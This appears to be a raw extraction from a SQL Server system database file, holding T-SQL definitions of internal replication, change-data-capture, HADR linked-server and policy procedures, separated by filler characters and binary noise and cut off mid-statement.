!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<
]MyHbc0nb 8--
-- Name: fn_convertnumericlsntobinary10
--
-- Description: This function converts a numeric(25,0) LSN retrieved
--              from "restore headeronly" to its corresponding 
--              representation in binary(10).
--
-- Parameter: @numericlsn numeric(25,0)
--
-- Example: select sys.fn_convertnumericlsntobinary10(4026531840402653184061440)
--              will return
--          0xF0000000F0000000F000
--
-- Security: This is a public interface object.
--
create function sys.fn_convertnumericlsntobinary10(
    @numericlsn numeric(25,0)
    ) returns binary(10)
as
begin
    -- Declare components to be one step larger than the intended type
    -- to avoid sign overflow problems. e.g. convert(smallint, 
    -- convert(numeric(25,0),65535)) will fail but convert(binary(2), 
    -- convert(int,convert(numeric(25,0),65535))) will give the 
    -- intended result of 0xffff.
    declare @high4bytelsncomponent bigint,
            @mid4bytelsncomponent bigint,
            @low2bytelsncomponent int

    select @high4bytelsncomponent = convert(bigint, floor(@numericlsn / 1000000000000000))
    select @numericlsn = @numericlsn - convert(numeric(25,0), @high4bytelsncomponent) * 1000000000000000
    select @mid4bytelsncomponent = convert(bigint,floor(@numericlsn / 100000))
    select @numericlsn = @numericlsn - convert(numeric(25,0), @mid4bytelsncomponent) * 100000
    select @low2bytelsncomponent = convert(int, @numericlsn)

    return convert(binary(4), @high4bytelsncomponent) +
           convert(binary(4), @mid4bytelsncomponent) +
           convert(binary(2), @low2bytelsncomponent)
end
0.n v
8create procedure sys.sp_getpublisherlink 
(
    @trigger_id int
    ,@connect_string nvarchar(300) output
    ,@islocalpublisher bit output -- 1 = local, 0 = remote
)
AS
BEGIN
    SET NOCOUNT ON
    declare @publisher sysname
                ,@publisher_db sysname
                ,@linkname sysname
                ,@security_mode int
                ,@retcode int

    --
    -- Make sure this proc is called from the trigger.
    -- Better to use object_id if owner name is passed in.
    --
    if trigger_nestlevel(@trigger_id) = 0
    begin
        raiserror(14126, 16, -1)
        return (1) -- current user does not have insert permission to underlying table
    end
    --
    -- Get the security information
    --
    IF object_id('MSsubscription_properties', 'U') is not NULL
    begin
        --
        -- MSsubscription_properties exists
        -- Check for the subscription
        --
        select @linkname = case when (p.publisher_security_mode in (0,1)) 
                            then sys.fn_MSrepllinkname(N'REPLLINK', upper(o.publisher), o.publisher_db, o.publication, db_name())
                            else p.publisherlink end
                ,@security_mode = case when (p.publisher_security_mode not between 0 and 2) then null else cast(p.publisher_security_mode as tinyint) end
                ,@publisher = upper(o.publisher)
                ,@publisher_db = o.publisher_db
        from MSsubscription_properties p join MSreplication_objects o
            on UPPER(p.publisher) = UPPER(o.publisher) 
                and p.publisher_db = o.publisher_db
                and p.publication = o.publication
                and o.object_name = object_name(@trigger_id) 
        select @islocalpublisher = case when (@publisher = upper(publishingservername())) then 1 else 0 end
        if (@security_mode is null)
        begin
            --
            -- entry for the subscription does not exist
            -- or, sp_link_publication has not been called
            --
            raiserror(21079, 16, 1)
            return(1)
        end
    end
    else
    begin
        --
        -- MSsubscription_properties does not exist
        --
        raiserror(21079, 16, 3)
        return(1)
    end
    --
    -- if we have come this far - the subscription exists
    --
    select @connect_string = case when (@islocalpublisher = 1) 
                    then quotename(@publisher_db)
                    else quotename(@linkname) + N'.' + quotename(@publisher_db)
                    end
    --
    -- all done
    --
    return 0
END
0:Pj 8create procedure sys.sp_helpmergeconflictrows(
    @publication    sysname = '%',
    @conflict_table sysname,
    @publisher		sysname = NULL,
    @publisher_db	sysname = NULL,
    @logical_record_conflicts int = 0
    
    )
as 
	set nocount on
    declare @pubid          uniqueidentifier
    declare @cmd            nvarchar(max)  
    declare @colname		sysname
    declare @colid			int
    declare @pubidstr       nvarchar(38)
    declare @retcode        int
	declare @result_table	sysname
	declare @guid			uniqueidentifier

    -- Security check
    if 1 <> is_member('db_owner') and
	   (1 <> is_member('replmonitor') or is_member('replmonitor') is null)
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end

	declare @quotedcolname nvarchar(258)

    select @guid = newid()

    if @publisher IS NULL
    	select @publisher = publishingservername()
    	
    if @publisher_db IS NULL
	    select @publisher_db = db_name()

	select @colname=NULL
	
	select @colid = min(column_id) from sys.columns where object_id = object_id(@conflict_table)
	select @colname=name from sys.columns where object_id = object_id(@conflict_table) and column_id=@colid
	select @cmd = 'select '

	while (@colname is not NULL)
	begin
		if @colname <> 'origin_datasource_id'
		begin
			select @quotedcolname = quotename(@colname)
			select @cmd = @cmd + ' ct.' + @quotedcolname + ','	
		end
		select @colid = min(column_id) from sys.columns where object_id = object_id(@conflict_table) and column_id > @colid
		select @colname = NULL
		select @colname=name from sys.columns where object_id = object_id(@conflict_table) and column_id=@colid
	end
    select @cmd = @cmd + ' m.origin_datasource, m.conflict_type, m.reason_code, m.reason_text, m.pubid, m.MSrepl_create_time from' 
    select @cmd = @cmd + QUOTENAME(@conflict_table) + ' ct, MSmerge_conflicts_info m where ct.origin_datasource_id=m.origin_datasource_id
    			and m.conflict_type<>4 and ct.rowguidcol=m.rowguid '

    -- Do not return logical record conflicts unless specifically asked for
    if @logical_record_conflicts = 0
    begin
        select @cmd = @cmd + ' and m.conflict_type not in (11,12,13,14) '
    end
    
    if @publication <> '%'
    begin
        /*
        ** Parameter Check:  @publication.
        ** Make sure that the publication exists.
        */
        select @pubid = pubid from dbo.sysmergepublications 
        	where name = @publication and 
        		LOWER(publisher) = LOWER(@publisher) and
        		publisher_db = @publisher_db
        if @pubid IS NULL
            BEGIN
                RAISERROR (20026, 16, -1, @publication)
                RETURN (1)
            END

	    set @pubidstr = '''' + convert(nchar(36), @pubid) + '''' 
        select @cmd = @cmd + ' and m.pubid = ' + @pubidstr
    end
    exec (@cmd)

    if (@@ERROR <> 0)
    	return (1)
   	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!j``	<^$H=)0R@ 8CREATE PROCEDURE sys.sp_syspolicy_subscribe_to_policy_category
	@policy_category sysname
AS
BEGIN
	IF( @policy_category IS NULL)
	BEGIN	
		RAISERROR(14043, -1, -1, '@policy_category', 'sp_syspolicy_subscribe_to_policy_category')
		RETURN(1)
	END

	IF (IS_MEMBER('db_owner') != 1)
	BEGIN
		RAISERROR(21050, -1, -1)
		RETURN(1)
	END
	DECLARE @dbname sysname
	SET @dbname = DB_NAME()
	DECLARE @ret int
	EXEC @ret = [msdb].[dbo].[sp_syspolicy_add_policy_category_subscription] 
		@target_type = N'DATABASE', 
		@target_object = @dbname, 
		@policy_category = @policy_category
	RETURN @ret
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`q`<iY_$H>@0~@ 58
--
-- Name: sp_hadr_create_linked_server
--
-- Descriptions: Create a linked server for communicating with the 
--               server that is the target of redirection.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure
--          On failure, if the linked server was created, it is dropped.
--
-- Security: Internal stored procedure.
--
create procedure sys.sp_hadr_create_linked_server
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname,
    @publisher_linked_server sysname output,
	@use_caller_credentials bit = 0
)
as
begin

    set nocount on
    
    declare @cmd nvarchar(1000),
        @query nvarchar(1000),
        @retcode int,
        @original_error_number int,
        @original_error_message nvarchar(4000),
        @option nvarchar(100),
        @server_created bit,
        @publisher_security_mode int,
        @publisher_login sysname,
        @publisher_password nvarchar(524)
        
    set @retcode = 0    
        
    begin try
        set @server_created = 0
        set @publisher_security_mode = 0
        set @publisher_login = null
        set @publisher_password = null
        set @publisher_linked_server = quotename(newid())

        if @use_caller_credentials = 0
		begin
			-- Obtain the credentials associated with the original publisher.
			--
			set @option = 'select login from msdb.dbo.MSdistpublishers where upper(name) = ' + upper(quotename(rtrim(@original_publisher),'''')) 
			select @publisher_security_mode = security_mode,
				@publisher_login = login,
				@publisher_password = password
			from msdb.dbo.MSdistpublishers
			where upper(@original_publisher) = upper(name)
			and N'MSSQLSERVER' = upper(publisher_type)
		end

		-- Create the linked server for the redirected publisher.
        -- 
        set @option = 'sys.sp_addlinkedserver' 
        execute @retcode = sys.sp_addlinkedserver  @publisher_linked_server
        if @retcode <> 0
        begin
            raiserror (21885, 16, 1, @retcode) 
        end

        set @server_created = 1
     
        -- Mark the linked server as a system link.
        --       
        set @option = 'sys.sp_serveroption ''system'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'system', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 2, @retcode) 
        end
 
        -- Enable data access for the linked server.
        --       
        set @option = 'sys.sp_serveroption ''data access'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'data access', 'true'
        if @retcode <> 0 
        begin
            raiserror (21885, 16, 3, @retcode) 
        end
        
        set @option = 'sys.sp_serveroption ''rpc'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'rpc', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 4, @retcode) 
        end 
        
        set @option = 'sys.sp_serveroption ''rpc out'', ''true'''
		execute @retcode = sys.sp_serveroption  @publisher_linked_server, 'rpc out', 'true'
        if @retcode <> 0
        begin
            raiserror (21885, 16, 5, @retcode) 
        end

		-- Set the netname to the redirected target.
		--
        set @option = 'sys.sp_setnetname'
		execute @retcode = sys.sp_setnetname  @publisher_linked_server, @redirected_publisher
        if @retcode <> 0
        begin
            raiserror (21885, 16, 6, @retcode) 
        end
        
		if @publisher_security_mode = 1 or @use_caller_credentials = 1
		begin
			set @option = 'sys.sp_addlinkedsrvlogin Windows authentication'
			exec @retcode = sys.sp_addlinkedsrvlogin 
				@rmtsrvname = @publisher_linked_server,
				@useself = 'true',
				@locallogin = null,
				@rmtuser = null,
				@rmtpassword = null
		end
		else
		begin
			set @option = 'sys.sp_addlinkedsrvlogin SQL Server authentication'
			exec @retcode = sys.sp_MSrepldecrypt @publisher_password OUTPUT
			if @retcode <> 0
			begin
				raiserror (21885, 16, 7, @retcode) 
			end

			exec @retcode = sys.sp_addlinkedsrvlogin 
				@rmtsrvname = @publisher_linked_server,
				@useself = 'false',
				@locallogin = null,
				@rmtuser = @publisher_login,
				@rmtpassword = @publisher_password

			set @publisher_password = REPLICATE(N'-', 254)
		end
		
		if @retcode <> 0
		begin
            raiserror (21885, 16, 7, @retcode) 
		end
		
    end try
    
    begin catch
		exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
		
		if @server_created = 1
		begin
            exec sys.sp_hadr_drop_linked_server @publisher_linked_server
		end
		
		set @retcode = 1
		
        raiserror (21878, 16, -1, @redirected_publisher, @original_publisher, @publisher_db, @option,
            @original_error_number, @original_error_message)
    end catch
    
    return @retcode
        		
end
0J 8create procedure sys.sp_cdc_parse_captured_column_list
(
	@source_schema sysname,
	@source_name sysname,
	@captured_column_list nvarchar(max)
)	
as
begin
	declare @retcode int
		,@column sysname
		,@list nvarchar(max)
		,@object_id int
		,@column_name sysname
		,@column_type sysname
		,@source_table nvarchar(1000)
		,@is_computed bit
		
	declare @captured_columns table
		(
			column_name sysname,
			column_type sysname,
			is_computed bit
		)		

    set nocount on
    
    set @list = @captured_column_list
    set @column = null
    set @source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    set @object_id = object_id(@source_table)
   
    -- Extract one token at a time from the list
    while(@list is not null)
    begin
        -- Split out the next column from the list
		exec @retcode = [sys].[sp_cdc_extract_column] @column output
			,@list output
		
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end
		
		set @column_name = null		

		-- Locate information for the extracted column
		select @column_name = name,
			   @column_type = isnull(type_name(system_type_id), type_name(user_type_id)),
			   @is_computed = is_computed
		from [sys].[columns]   
		where object_id = @object_id
		and   name      = @column
		
		if (@column_name is null)
		begin
			raiserror(22930, 16, -1, @column, @source_schema, @source_name)
			return 1 	 	
		end
		
		-- Populate local table with column information
		insert into @captured_columns
		values(@column_name, @column_type, @is_computed)
    end
    
    -- Generate output result set
    select * from @captured_columns
    
	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`_^<Y
`$HATS0J 8create procedure sys.sp_cdc_parse_captured_column_list
(
	@source_schema sysname,
	@source_name sysname,
	@captured_column_list nvarchar(max)
)	
as
begin
	declare @retcode int
		,@column sysname
		,@list nvarchar(max)
		,@object_id int
		,@column_name sysname
		,@column_type sysname
		,@source_table nvarchar(1000)
		,@is_computed bit
		
	declare @captured_columns table
		(
			column_name sysname,
			column_type sysname,
			is_computed bit
		)		

    set nocount on
    
    set @list = @captured_column_list
    set @column = null
    set @source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    set @object_id = object_id(@source_table)
   
    -- Extract one token at a time from the list
    while(@list is not null)
    begin
        -- Split out the next column from the list
		exec @retcode = [sys].[sp_cdc_extract_column] @column output
			,@list output
		
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end
		
		set @column_name = null		

		-- Locate information for the extracted column
		select @column_name = name,
			   @column_type = isnull(type_name(system_type_id), type_name(user_type_id)),
			   @is_computed = is_computed
		from [sys].[columns]   
		where object_id = @object_id
		and   name      = @column
		
		if (@column_name is null)
		begin
			raiserror(22930, 16, -1, @column, @source_schema, @source_name)
			return 1 	 	
		end
		
		-- Populate local table with column information
		insert into @captured_columns
		values(@column_name, @column_type, @is_computed)
    end
    
    -- Generate output result set
    select * from @captured_columns
    
	return 0
end
0j@ 8
create procedure sys.sp_helpmergedeleteconflictrows(
	@publication	sysname = '%',
	@source_object	nvarchar(386) = NULL,
	@publisher		sysname = NULL,
	@publisher_db	sysname = NULL,
	@logical_record_conflicts int = 0
	)
as
	declare @pubid			uniqueidentifier
	declare @cmd			nvarchar(4000)	
	declare @pubidstr		nvarchar(38)
	declare @retcode		int

	-- Security check: dbo and sysadmin only
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end	   

	if @publisher IS NULL
		select @publisher = publishingservername()
		
	if @publisher_db IS NULL
		select @publisher_db = db_name()
	select @cmd = 'select distinct source_object = schema_name(sys.objects.schema_id) + '
	select @cmd = @cmd + '''.'''
	select @cmd = @cmd + ' + sys.objects.name, MSmerge_conflicts_info.rowguid, MSmerge_conflicts_info.conflict_type, '
	select @cmd = @cmd + ' MSmerge_conflicts_info.reason_code, MSmerge_conflicts_info.reason_text, '
	select @cmd = @cmd + ' MSmerge_conflicts_info.origin_datasource, MSmerge_conflicts_info.pubid, MSmerge_conflicts_info.MSrepl_create_time from MSmerge_conflicts_info, dbo.sysmergearticles, sys.objects'	 
	select @cmd = @cmd + ' where dbo.sysmergearticles.nickname = MSmerge_conflicts_info.tablenick 
					 and sys.objects.object_id = dbo.sysmergearticles.objid '

    -- Do not return logical record conflicts unless requested.
	if @logical_record_conflicts = 0
	begin
        select @cmd = @cmd + ' and MSmerge_conflicts_info.conflict_type in (4, 7, 8) '
	end
	else
	begin
        select @cmd = @cmd + ' and MSmerge_conflicts_info.conflict_type in (4, 7, 8, 12) '
	end
	
	if @publication <> '%'
		begin
			/*
			** Parameter Check:	 @publication.
			** Make sure that the publication exists.
			*/
			select @pubid = pubid from dbo.sysmergepublications 
				where name = @publication and 
					LOWER(publisher) = LOWER(@publisher) and
					publisher_db = @publisher_db
			if @pubid IS NULL
				BEGIN
					RAISERROR (20026, 16, -1, @publication)
					RETURN (1)
				END
			set @pubidstr = '''' + convert(nchar(36), @pubid) + '''' 
			select @cmd = @cmd + ' and MSmerge_conflicts_info.pubid = ' + @pubidstr
		end

	if @source_object IS NOT NULL
		begin
			declare @object			sysname	 
			declare @owner			sysname	 
			declare @tablenick		int
			declare @tablenickstr	nvarchar(11)
			
			select @object = PARSENAME(@source_object, 1)
			select @owner = PARSENAME(@source_object, 2)
			execute sys.sp_MStablenickname @owner, @object, @tablenick output
			if @tablenick IS NULL
				BEGIN
					raiserror (20003, 11, -1, @object)
					RETURN (1)
				END
			set @tablenickstr = convert(nchar, @tablenick)
			select @cmd = @cmd + ' and MSmerge_conflicts_info.tablenick = '
			select @cmd = @cmd + @tablenickstr
		end

	exec (@cmd)
	if (@@error <> 0)
		RETURN (1)
	
	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!$`1
h<1a1{J0[	@ 8CREATE VIEW sys.dm_os_memory_cache_counters AS
	SELECT *
	FROM OpenRowSet(TABLE SYSMEMORYCACHECOUNTERS)
0
@ 
8create procedure sys.sp_MSprepare_mergearticle
    @source_owner    sysname,
    @source_table     sysname,         /* table name */
    @publication     sysname,
    @qualified_tablename     nvarchar(270)
as
    declare @retcode            int
    declare @id                 int
    declare @qualified_name     nvarchar(270)
    declare @pubid              uniqueidentifier
    declare @article_status     tinyint
    declare @snapshot_ready     tinyint
    declare @article sysname
        
    set nocount on

    -- Security check
    if 1 <> is_member('db_owner')
    begin
        raiserror(15247,-1,-1)
        return 1
    end
    
    -- Security check
    exec @retcode= dbo.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0 return (1)
    
    select @pubid = pubid, @snapshot_ready = snapshot_ready
    from dbo.sysmergepublications 
    where name=@publication and upper(publisher)=upper(publishingservername()) and publisher_db=db_name()
    
    select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_table)
    select @id = object_id(@qualified_name)
        
    select top 1 @article_status = sma.status 
    from dbo.sysmergearticles sma join dbo.sysmergepublications smp
    on sma.pubid = smp.pubid
    where sma.objid = @id
    
    if @snapshot_ready = 2 or (@article_status <> 2 and @article_status <> 6)
    begin

        -- addguidcolumn needs to be called even if article is active. This is needed to 
        -- drop and recreate rowguid default constraint - to make it go back and forth 
        -- between newid() and newsequentialid().
        exec @retcode = sys.sp_MSaddguidcolumn @source_owner, @source_table
        if @@error <> 0 or @retcode <> 0
            return (1)
    end

    select @article_status = status, @article = name 
        from dbo.sysmergearticles where objid=@id and pubid=@pubid
        
    if (@article_status = 2 or @article_status = 6) and @snapshot_ready = 1
        return 0

    begin tran 
    save tran prep_merge_article
    
    exec @retcode = sys.sp_MSaddguidindex @publication, @source_owner, @source_table
    if @@error <> 0 or @retcode <> 0
        goto FAILURE
        
    exec @retcode = sys.sp_MSsetup_publisher_idrange @publication, @source_table, @source_owner
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    -- snapshot will separately call creating the triggers
    --exec @retcode = sys.sp_MSaddmergetriggers @qualified_tablename
    --if @@error <> 0 or @retcode <> 0
    --    goto FAILURE

    commit tran
    return 0

FAILURE:
    rollback tran prep_merge_article
    raiserror(20714, 10, -1, @article, @publication)
    return 1
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`g<pbHb
V0@ .8
create procedure sys.sp_mergedummyupdate(
	@source_object	nvarchar (386),
	@rowguid		uniqueidentifier
)
as
	-- Security check
	if 1 <> is_member('db_owner')
	begin    
		RAISERROR (15247, 11, -1)
		return (1)
	end
	
	declare @object			sysname	 
	declare @owner			sysname	 
	declare @tablenick		int
	declare @tablenickstr	nvarchar(11)
	declare @retcode		int
	declare @islightweight	bit
	declare @coltracked		bit

	select @object = PARSENAME(@source_object, 1)
	select @owner = PARSENAME(@source_object, 2)
	execute sys.sp_MStablenickname @owner, @object, @tablenick output
	if @tablenick IS NULL or @@ERROR<>0
	BEGIN
		raiserror (20003, 11, -1, @object)
		RETURN (1)
	END
	set @tablenickstr = convert(nchar, @tablenick)

	declare @rowguidstr nvarchar(40)
	if @rowguid IS NULL 
	begin
		raiserror (14043, 11, -1, '@rowguid', 'sp_mergedummyupdate')
		return (1)
	end
	set @rowguidstr = convert(nchar(36), @rowguid)

	-- Find out whether the row is heavy- or lightweight.
	select top 1 @islightweight= lightweight, @coltracked= column_tracking
		from dbo.sysmergearticles where nickname=@tablenick
	if @islightweight is null return 1

	if 0=@islightweight
	begin
	    declare @quoted_source_object nvarchar(517)
	    if @owner is null
	    	set @quoted_source_object= quotename(@object)
	    else
	    	set @quoted_source_object= quotename(@owner) + '.' + quotename(@object)

		/* 
		** If the row does not exist in the base table, call sp_MSdummyupdate with metadata_type = 1 (tombstone)
		*/
		exec ('if not exists (select 1 from ' + @quoted_source_object + ' where rowguidcol = ''' +
			@rowguidstr + ''' ) exec sys.sp_MSdummyupdate ''' + @rowguidstr + ''',' + @tablenickstr + ', 1')

		/* 
		** If the row exists in the base table and MSmerge_contents , call sp_MSdummyupdate with metadata_type = 2 (contents)
		*/
		exec ('if exists (select 1 from ' + @quoted_source_object + ' where rowguidcol = ''' +
			@rowguidstr + ''' ) and exists (select rowguid from dbo.MSmerge_contents where rowguid = ''' +
